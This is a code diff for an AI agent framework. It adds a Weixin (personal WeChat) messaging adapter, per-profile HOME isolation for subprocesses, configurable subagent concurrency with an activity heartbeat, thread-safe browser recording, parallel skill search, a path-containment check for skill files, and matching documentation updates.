         raw_result = resp.get("result") if isinstance(resp, dict) else resp
@@ -1641,8 +1687,9 @@ def _camofox_eval(expression: str, task_id: Optional[str] = None) -> str:
 
 def _maybe_start_recording(task_id: str):
     """Start recording if browser.record_sessions is enabled in config."""
-    if task_id in _recording_sessions:
-        return
+    with _cleanup_lock:
+        if task_id in _recording_sessions:
+            return
     try:
         from hermes_cli.config import read_raw_config
         hermes_home = get_hermes_home()
@@ -1662,7 +1709,8 @@ def _maybe_start_recording(task_id: str):
         
         result = _run_browser_command(task_id, "record", ["start", str(recording_path)])
         if result.get("success"):
-            _recording_sessions.add(task_id)
+            with _cleanup_lock:
+                _recording_sessions.add(task_id)
             logger.info("Auto-recording browser session %s to %s", task_id, recording_path)
         else:
             logger.debug("Could not start auto-recording: %s", result.get("error"))
@@ -1672,8 +1720,9 @@ def _maybe_start_recording(task_id: str):
 
 def _maybe_stop_recording(task_id: str):
     """Stop recording if one is active for this session."""
-    if task_id not in _recording_sessions:
-        return
+    with _cleanup_lock:
+        if task_id not in _recording_sessions:
+            return
     try:
         result = _run_browser_command(task_id, "record", ["stop"])
         if result.get("success"):
@@ -1682,7 +1731,8 @@ def _maybe_stop_recording(task_id: str):
     except Exception as e:
         logger.debug("Could not stop recording for %s: %s", task_id, e)
     finally:
-        _recording_sessions.discard(task_id)
+        with _cleanup_lock:
+            _recording_sessions.discard(task_id)
 
 
 def browser_get_images(task_id: Optional[str] = None) -> str:
@@ -2041,6 +2091,14 @@ def cleanup_all_browsers() -> None:
     for task_id in task_ids:
         cleanup_browser(task_id)
 
+    # Reset cached lookups so they are re-evaluated on next use.
+    global _cached_agent_browser, _agent_browser_resolved
+    global _cached_command_timeout, _command_timeout_resolved
+    _cached_agent_browser = None
+    _agent_browser_resolved = False
+    _discover_homebrew_node_dirs.cache_clear()
+    _cached_command_timeout = None
+    _command_timeout_resolved = False
 
 
 # ============================================================================

tools/code_execution_tool.py

@@ -1020,6 +1020,13 @@ def execute_code(
         if _tz_name:
             child_env["TZ"] = _tz_name
 
+        # Per-profile HOME isolation: redirect system tool configs into
+        # {HERMES_HOME}/home/ when that directory exists.
+        from hermes_constants import get_subprocess_home
+        _profile_home = get_subprocess_home()
+        if _profile_home:
+            child_env["HOME"] = _profile_home
+
         proc = subprocess.Popen(
             [sys.executable, "script.py"],
             cwd=tmpdir,

tools/cronjob_tools.py

@@ -455,7 +455,7 @@ Important safety rule: cron-run sessions should not recursively schedule more cr
             },
             "deliver": {
                 "type": "string",
-                "description": "Delivery target: origin, local, telegram, discord, slack, whatsapp, signal, matrix, mattermost, homeassistant, dingtalk, feishu, wecom, email, sms, bluebubbles, or platform:chat_id or platform:chat_id:thread_id for Telegram topics. Examples: 'origin', 'local', 'telegram', 'telegram:-1001234567890:17585', 'discord:#engineering'"
+                "description": "Delivery target: origin, local, telegram, discord, slack, whatsapp, signal, weixin, matrix, mattermost, homeassistant, dingtalk, feishu, wecom, email, sms, bluebubbles, or platform:chat_id or platform:chat_id:thread_id for Telegram topics. Examples: 'origin', 'local', 'telegram', 'telegram:-1001234567890:17585', 'discord:#engineering'"
             },
             "skills": {
                 "type": "array",

tools/delegate_tool.py

@@ -20,6 +20,7 @@ import json
 import logging
 logger = logging.getLogger(__name__)
 import os
+import threading
 import time
 from concurrent.futures import ThreadPoolExecutor, as_completed
 from typing import Any, Dict, List, Optional
@@ -34,9 +35,36 @@ DELEGATE_BLOCKED_TOOLS = frozenset([
     "execute_code",    # children should reason step-by-step, not write scripts
 ])
 
-MAX_CONCURRENT_CHILDREN = 3
+_DEFAULT_MAX_CONCURRENT_CHILDREN = 3
 MAX_DEPTH = 2  # parent (0) -> child (1) -> grandchild rejected (2)
+
+
+def _get_max_concurrent_children() -> int:
+    """Read delegation.max_concurrent_children from config, falling back to
+    DELEGATION_MAX_CONCURRENT_CHILDREN env var, then the default (3).
+
+    Uses the same ``_load_config()`` path that the rest of ``delegate_task``
+    uses, keeping config priority consistent (config.yaml > env > default).
+    """
+    cfg = _load_config()
+    val = cfg.get("max_concurrent_children")
+    if val is not None:
+        try:
+            return max(1, int(val))
+        except (TypeError, ValueError):
+            logger.warning(
+                "delegation.max_concurrent_children=%r is not a valid integer; "
+                "using default %d", val, _DEFAULT_MAX_CONCURRENT_CHILDREN,
+            )
+    env_val = os.getenv("DELEGATION_MAX_CONCURRENT_CHILDREN")
+    if env_val:
+        try:
+            return max(1, int(env_val))
+        except (TypeError, ValueError):
+            pass
+    return _DEFAULT_MAX_CONCURRENT_CHILDREN
 DEFAULT_MAX_ITERATIONS = 50
+_HEARTBEAT_INTERVAL = 30  # seconds between parent activity heartbeats during delegation
 DEFAULT_TOOLSETS = ["terminal", "file", "web"]
 
 
@@ -369,6 +397,44 @@ def _run_single_child(
             except Exception as exc:
                 logger.debug("Failed to bind child to leased credential: %s", exc)
 
+    # Heartbeat: periodically propagate child activity to the parent so the
+    # gateway inactivity timeout doesn't fire while the subagent is working.
+    # Without this, the parent's _last_activity_ts freezes when delegate_task
+    # starts and the gateway eventually kills the agent for "no activity".
+    _heartbeat_stop = threading.Event()
+
+    def _heartbeat_loop():
+        while not _heartbeat_stop.wait(_HEARTBEAT_INTERVAL):
+            if parent_agent is None:
+                continue
+            touch = getattr(parent_agent, '_touch_activity', None)
+            if not touch:
+                continue
+            # Pull detail from the child's own activity tracker
+            desc = f"delegate_task: subagent {task_index} working"
+            try:
+                child_summary = child.get_activity_summary()
+                child_tool = child_summary.get("current_tool")
+                child_iter = child_summary.get("api_call_count", 0)
+                child_max = child_summary.get("max_iterations", 0)
+                if child_tool:
+                    desc = (f"delegate_task: subagent running {child_tool} "
+                            f"(iteration {child_iter}/{child_max})")
+                else:
+                    child_desc = child_summary.get("last_activity_desc", "")
+                    if child_desc:
+                        desc = (f"delegate_task: subagent {child_desc} "
+                                f"(iteration {child_iter}/{child_max})")
+            except Exception:
+                pass
+            try:
+                touch(desc)
+            except Exception:
+                pass
+
+    _heartbeat_thread = threading.Thread(target=_heartbeat_loop, daemon=True)
+    _heartbeat_thread.start()
+
     try:
         result = child.run_conversation(user_message=goal)
 
@@ -479,6 +545,11 @@ def _run_single_child(
         }
 
     finally:
+        # Stop the heartbeat thread so it doesn't keep touching parent activity
+        # after the child has finished (or failed).
+        _heartbeat_stop.set()
+        _heartbeat_thread.join(timeout=5)
+
         if child_pool is not None and leased_cred_id is not None:
             try:
                 child_pool.release_lease(leased_cred_id)
@@ -555,8 +626,17 @@ def delegate_task(
         return tool_error(str(exc))
 
     # Normalize to task list
+    max_children = _get_max_concurrent_children()
     if tasks and isinstance(tasks, list):
-        task_list = tasks[:MAX_CONCURRENT_CHILDREN]
+        if len(tasks) > max_children:
+            return tool_error(
+                f"Too many tasks: {len(tasks)} provided, but "
+                f"max_concurrent_children is {max_children}. "
+                f"Either reduce the task count, split into multiple "
+                f"delegate_task calls, or increase "
+                f"delegation.max_concurrent_children in config.yaml."
+            )
+        task_list = tasks
     elif goal and isinstance(goal, str) and goal.strip():
         task_list = [{"goal": goal, "context": context, "toolsets": toolsets}]
     else:
@@ -616,7 +696,7 @@ def delegate_task(
         completed_count = 0
         spinner_ref = getattr(parent_agent, '_delegate_spinner', None)
 
-        with ThreadPoolExecutor(max_workers=MAX_CONCURRENT_CHILDREN) as executor:
+        with ThreadPoolExecutor(max_workers=max_children) as executor:
             futures = {}
             for i, t, child in children:
                 future = executor.submit(
@@ -920,9 +1000,11 @@ DELEGATE_TASK_SCHEMA = {
                     },
                     "required": ["goal"],
                 },
-                "maxItems": 3,
+                # No maxItems — the runtime limit is configurable via
+                # delegation.max_concurrent_children (default 3) and
+                # enforced with a clear error in delegate_task().
                 "description": (
-                    "Batch mode: up to 3 tasks to run in parallel. Each gets "
+                    "Batch mode: tasks to run in parallel (limit configurable via delegation.max_concurrent_children, default 3). Each gets "
                     "its own subagent with isolated context and terminal session. "
                     "When provided, top-level goal/context/toolsets are ignored."
                 ),

tools/environments/local.py

@@ -129,6 +129,12 @@ def _sanitize_subprocess_env(base_env: dict | None, extra_env: dict | None = Non
         elif key not in _HERMES_PROVIDER_ENV_BLOCKLIST or _is_passthrough(key):
             sanitized[key] = value
 
+    # Per-profile HOME isolation for background processes (same as _make_run_env).
+    from hermes_constants import get_subprocess_home
+    _profile_home = get_subprocess_home()
+    if _profile_home:
+        sanitized["HOME"] = _profile_home
+
     return sanitized
 
 
@@ -195,6 +201,15 @@ def _make_run_env(env: dict) -> dict:
     existing_path = run_env.get("PATH", "")
     if "/usr/bin" not in existing_path.split(":"):
         run_env["PATH"] = f"{existing_path}:{_SANE_PATH}" if existing_path else _SANE_PATH
+
+    # Per-profile HOME isolation: redirect system tool configs (git, ssh, gh,
+    # npm …) into {HERMES_HOME}/home/ when that directory exists.  Only the
+    # subprocess sees the override — the Python process keeps the real HOME.
+    from hermes_constants import get_subprocess_home
+    _profile_home = get_subprocess_home()
+    if _profile_home:
+        run_env["HOME"] = _profile_home
+
     return run_env
 
 

tools/send_message_tool.py

@@ -18,6 +18,7 @@ logger = logging.getLogger(__name__)
 
 _TELEGRAM_TOPIC_TARGET_RE = re.compile(r"^\s*(-?\d+)(?::(\d+))?\s*$")
 _FEISHU_TARGET_RE = re.compile(r"^\s*((?:oc|ou|on|chat|open)_[-A-Za-z0-9]+)(?::([-A-Za-z0-9_]+))?\s*$")
+_WEIXIN_TARGET_RE = re.compile(r"^\s*((?:wxid|gh|v\d+|wm|wb)_[A-Za-z0-9_-]+|[A-Za-z0-9._-]+@chatroom|filehelper)\s*$")
 # Discord snowflake IDs are numeric, same regex pattern as Telegram topic targets.
 _NUMERIC_TOPIC_RE = _TELEGRAM_TOPIC_TARGET_RE
 _IMAGE_EXTS = {".jpg", ".jpeg", ".png", ".webp", ".gif"}
@@ -157,6 +158,7 @@ def _handle_send(args):
         "dingtalk": Platform.DINGTALK,
         "feishu": Platform.FEISHU,
         "wecom": Platform.WECOM,
+        "weixin": Platform.WEIXIN,
         "email": Platform.EMAIL,
         "sms": Platform.SMS,
     }
@@ -237,6 +239,10 @@ def _parse_target_ref(platform_name: str, target_ref: str):
         match = _NUMERIC_TOPIC_RE.fullmatch(target_ref)
         if match:
             return match.group(1), match.group(2), True
+    if platform_name == "weixin":
+        match = _WEIXIN_TARGET_RE.fullmatch(target_ref)
+        if match:
+            return match.group(1), None, True
     if target_ref.lstrip("-").isdigit():
         return target_ref, None, True
     return None, None, False
@@ -369,6 +375,10 @@ async def _send_to_platform(platform, pconfig, chat_id, message, thread_id=None,
             last_result = result
         return last_result
 
+    # --- Weixin: use the native one-shot adapter helper for text + media ---
+    if platform == Platform.WEIXIN:
+        return await _send_weixin(pconfig, chat_id, message, media_files=media_files)
+
     # --- Non-Telegram platforms ---
     if media_files and not message.strip():
         return {
@@ -903,6 +913,27 @@ async def _send_wecom(extra, chat_id, message):
         return _error(f"WeCom send failed: {e}")
 
 
+async def _send_weixin(pconfig, chat_id, message, media_files=None):
+    """Send via Weixin iLink using the native adapter helper."""
+    try:
+        from gateway.platforms.weixin import check_weixin_requirements, send_weixin_direct
+        if not check_weixin_requirements():
+            return {"error": "Weixin requirements not met. Need aiohttp + cryptography."}
+    except ImportError:
+        return {"error": "Weixin adapter not available."}
+
+    try:
+        return await send_weixin_direct(
+            extra=pconfig.extra,
+            token=pconfig.token,
+            chat_id=chat_id,
+            message=message,
+            media_files=media_files,
+        )
+    except Exception as e:
+        return _error(f"Weixin send failed: {e}")
+
+
 async def _send_bluebubbles(extra, chat_id, message):
     """Send via BlueBubbles iMessage server using the adapter's REST API."""
     try:

tools/skill_manager_tool.py

@@ -40,7 +40,7 @@ import shutil
 import tempfile
 from pathlib import Path
 from hermes_constants import get_hermes_home
-from typing import Dict, Any, Optional
+from typing import Dict, Any, Optional, Tuple
 
 logger = logging.getLogger(__name__)
 
@@ -240,6 +240,20 @@ def _validate_file_path(file_path: str) -> Optional[str]:
     return None
 
 
+def _resolve_skill_target(skill_dir: Path, file_path: str) -> Tuple[Optional[Path], Optional[str]]:
+    """Resolve a supporting-file path and ensure it stays within the skill directory."""
+    target = skill_dir / file_path
+    try:
+        resolved = target.resolve(strict=False)
+        skill_dir_resolved = skill_dir.resolve()
+        resolved.relative_to(skill_dir_resolved)
+    except ValueError:
+        return None, "Path escapes skill directory boundary."
+    except OSError as e:
+        return None, f"Invalid file path '{file_path}': {e}"
+    return target, None
+
+
 def _atomic_write_text(file_path: Path, content: str, encoding: str = "utf-8") -> None:
     """
     Atomically write text content to a file.
@@ -394,7 +408,9 @@ def _patch_skill(
         err = _validate_file_path(file_path)
         if err:
             return {"success": False, "error": err}
-        target = skill_dir / file_path
+        target, err = _resolve_skill_target(skill_dir, file_path)
+        if err:
+            return {"success": False, "error": err}
     else:
         # Patching SKILL.md
         target = skill_dir / "SKILL.md"
@@ -500,7 +516,9 @@ def _write_file(name: str, file_path: str, file_content: str) -> Dict[str, Any]:
     if not existing:
         return {"success": False, "error": f"Skill '{name}' not found. Create it first with action='create'."}
 
-    target = existing["path"] / file_path
+    target, err = _resolve_skill_target(existing["path"], file_path)
+    if err:
+        return {"success": False, "error": err}
     target.parent.mkdir(parents=True, exist_ok=True)
     # Back up for rollback
     original_content = target.read_text(encoding="utf-8") if target.exists() else None
@@ -533,7 +551,9 @@ def _remove_file(name: str, file_path: str) -> Dict[str, Any]:
         return {"success": False, "error": f"Skill '{name}' not found."}
     skill_dir = existing["path"]
 
-    target = skill_dir / file_path
+    target, err = _resolve_skill_target(skill_dir, file_path)
+    if err:
+        return {"success": False, "error": err}
     if not target.exists():
         # List what's actually there for the model to see
         available = []

tools/skills_hub.py

@@ -2675,19 +2675,89 @@ def create_source_router(auth: Optional[GitHubAuth] = None) -> List[SkillSource]
     return sources
 
 
+def _search_one_source(
+    src: SkillSource, query: str, limit: int
+) -> Tuple[str, List[SkillMeta]]:
+    """Search a single source.  Runs in a thread for parallelism."""
+    try:
+        return src.source_id(), src.search(query, limit=limit)
+    except Exception as e:
+        logger.debug("Search failed for %s: %s", src.source_id(), e)
+        return src.source_id(), []
+
+
+def parallel_search_sources(
+    sources: List[SkillSource],
+    query: str = "",
+    per_source_limits: Optional[Dict[str, int]] = None,
+    source_filter: str = "all",
+    overall_timeout: float = 30,
+    on_source_done: Optional[Any] = None,
+) -> Tuple[List[SkillMeta], Dict[str, int], List[str]]:
+    """Search all sources in parallel with per-source timeout.
+
+    Returns ``(all_results, source_counts, timed_out_ids)``.
+
+    *on_source_done* is an optional callback ``(source_id, count) -> None``
+    invoked as each source completes — useful for progress indicators.
+    """
+    from concurrent.futures import ThreadPoolExecutor, as_completed
+
+    per_source_limits = per_source_limits or {}
+
+    active: List[SkillSource] = []
+    for src in sources:
+        sid = src.source_id()
+        if source_filter != "all" and sid != source_filter and sid != "official":
+            continue
+        active.append(src)
+
+    all_results: List[SkillMeta] = []
+    source_counts: Dict[str, int] = {}
+    timed_out_ids: List[str] = []
+
+    if not active:
+        return all_results, source_counts, timed_out_ids
+
+    with ThreadPoolExecutor(max_workers=min(len(active), 8)) as pool:
+        futures = {}
+        for src in active:
+            lim = per_source_limits.get(src.source_id(), 50)
+            fut = pool.submit(_search_one_source, src, query, lim)
+            futures[fut] = src.source_id()
+
+        try:
+            for fut in as_completed(futures, timeout=overall_timeout):
+                try:
+                    sid, results = fut.result(timeout=0)
+                    source_counts[sid] = len(results)
+                    all_results.extend(results)
+                    if on_source_done:
+                        on_source_done(sid, len(results))
+                except Exception:
+                    pass
+        except TimeoutError:
+            timed_out_ids = [
+                futures[f] for f in futures if not f.done()
+            ]
+            if timed_out_ids:
+                logger.debug(
+                    "Skills browse timed out waiting for: %s",
+                    ", ".join(timed_out_ids),
+                )
+
+    return all_results, source_counts, timed_out_ids
+
+
 def unified_search(query: str, sources: List[SkillSource],
                    source_filter: str = "all", limit: int = 10) -> List[SkillMeta]:
-    """Search all sources and merge results."""
-    all_results: List[SkillMeta] = []
-
-    for src in sources:
-        if source_filter != "all" and src.source_id() != source_filter:
-            continue
-        try:
-            results = src.search(query, limit=limit)
-            all_results.extend(results)
-        except Exception as e:
-            logger.debug(f"Search failed for {src.source_id()}: {e}")
+    """Search all sources (in parallel) and merge results."""
+    all_results, _, _ = parallel_search_sources(
+        sources,
+        query=query,
+        source_filter=source_filter,
+        overall_timeout=30,
+    )
 
     # Deduplicate by name, preferring higher trust levels
     _TRUST_RANK = {"builtin": 2, "trusted": 1, "community": 0}

tools/url_safety.py

@@ -10,9 +10,10 @@ Limitations (documented, not fixable at pre-flight level):
     can return a public IP for the check, then a private IP for the actual
     connection. Fixing this requires connection-level validation (e.g.
     Python's Champion library or an egress proxy like Stripe's Smokescreen).
-  - Redirect-based bypass in vision_tools is mitigated by an httpx event
-    hook that re-validates each redirect target. Web tools use third-party
-    SDKs (Firecrawl/Tavily) where redirect handling is on their servers.
+  - Redirect-based bypass is mitigated by httpx event hooks that re-validate
+    each redirect target in vision_tools, gateway platform adapters, and
+    media cache helpers. Web tools use third-party SDKs (Firecrawl/Tavily)
+    where redirect handling is on their servers.
 """
 
 import ipaddress

toolsets.py

@@ -353,6 +353,12 @@ TOOLSETS = {
         "includes": []
     },
 
+    "hermes-weixin": {
+        "description": "Weixin bot toolset - personal WeChat messaging via iLink (full access)",
+        "tools": _HERMES_CORE_TOOLS,
+        "includes": []
+    },
+
     "hermes-wecom": {
         "description": "WeCom bot toolset - enterprise WeChat messaging (full access)",
         "tools": _HERMES_CORE_TOOLS,
@@ -374,7 +380,7 @@ TOOLSETS = {
     "hermes-gateway": {
         "description": "Gateway toolset - union of all messaging platform tools",
         "tools": [],
-        "includes": ["hermes-telegram", "hermes-discord", "hermes-whatsapp", "hermes-slack", "hermes-signal", "hermes-bluebubbles", "hermes-homeassistant", "hermes-email", "hermes-sms", "hermes-mattermost", "hermes-matrix", "hermes-dingtalk", "hermes-feishu", "hermes-wecom", "hermes-webhook"]
+        "includes": ["hermes-telegram", "hermes-discord", "hermes-whatsapp", "hermes-slack", "hermes-signal", "hermes-bluebubbles", "hermes-homeassistant", "hermes-email", "hermes-sms", "hermes-mattermost", "hermes-matrix", "hermes-dingtalk", "hermes-feishu", "hermes-wecom", "hermes-weixin", "hermes-webhook"]
     }
 }
 

website/docs/developer-guide/architecture.md

@@ -118,7 +118,7 @@ hermes-agent/
 │   ├── builtin_hooks/        # Always-registered hooks
 │   └── platforms/            # 15 adapters: telegram, discord, slack, whatsapp,
 │                             #   signal, matrix, mattermost, email, sms,
-│                             #   dingtalk, feishu, wecom, bluebubbles, homeassistant, webhook
+│                             #   dingtalk, feishu, wecom, weixin, bluebubbles, homeassistant, webhook
 │
 ├── acp_adapter/              # ACP server (VS Code / Zed / JetBrains)
 ├── cron/                     # Scheduler (jobs.py, scheduler.py)

website/docs/developer-guide/cron-internals.md

@@ -169,6 +169,7 @@ Cron job results can be delivered to any supported platform:
 | DingTalk | `dingtalk` | Deliver to DingTalk |
 | Feishu | `feishu` | Deliver to Feishu |
 | WeCom | `wecom` | Deliver to WeCom |
+| Weixin | `weixin` | Deliver to Weixin (WeChat) |
 | BlueBubbles | `bluebubbles` | Deliver to iMessage via BlueBubbles |
 
 For Telegram topics, use the format `telegram:<chat_id>:<thread_id>` (e.g., `telegram:-1001234567890:17585`).

website/docs/developer-guide/gateway-internals.md

@@ -160,6 +160,7 @@ gateway/platforms/
 ├── dingtalk.py          # DingTalk WebSocket
 ├── feishu.py            # Feishu/Lark WebSocket or webhook
 ├── wecom.py             # WeCom (WeChat Work) callback
+├── weixin.py            # Weixin (personal WeChat) via iLink Bot API
 ├── bluebubbles.py       # Apple iMessage via BlueBubbles macOS server
 ├── webhook.py           # Inbound/outbound webhook adapter
 ├── api_server.py        # REST API server adapter

website/docs/guides/cron-troubleshooting.md

@@ -70,7 +70,7 @@ Delivery targets are case-sensitive and require the correct platform to be confi
 | `local` | Write access to `~/.hermes/cron/output/` |
 | `origin` | Delivers to the chat where the job was created |
 
-Other supported platforms include `mattermost`, `homeassistant`, `dingtalk`, `feishu`, `wecom`, `bluebubbles`, and `webhook`. You can also target a specific chat with `platform:chat_id` syntax (e.g., `telegram:-1001234567890`).
+Other supported platforms include `mattermost`, `homeassistant`, `dingtalk`, `feishu`, `wecom`, `weixin`, `bluebubbles`, and `webhook`. You can also target a specific chat with `platform:chat_id` syntax (e.g., `telegram:-1001234567890`).
 
 If delivery fails, the job still runs — it just won't send anywhere. Check `hermes cron list` for updated `last_error` field (if available).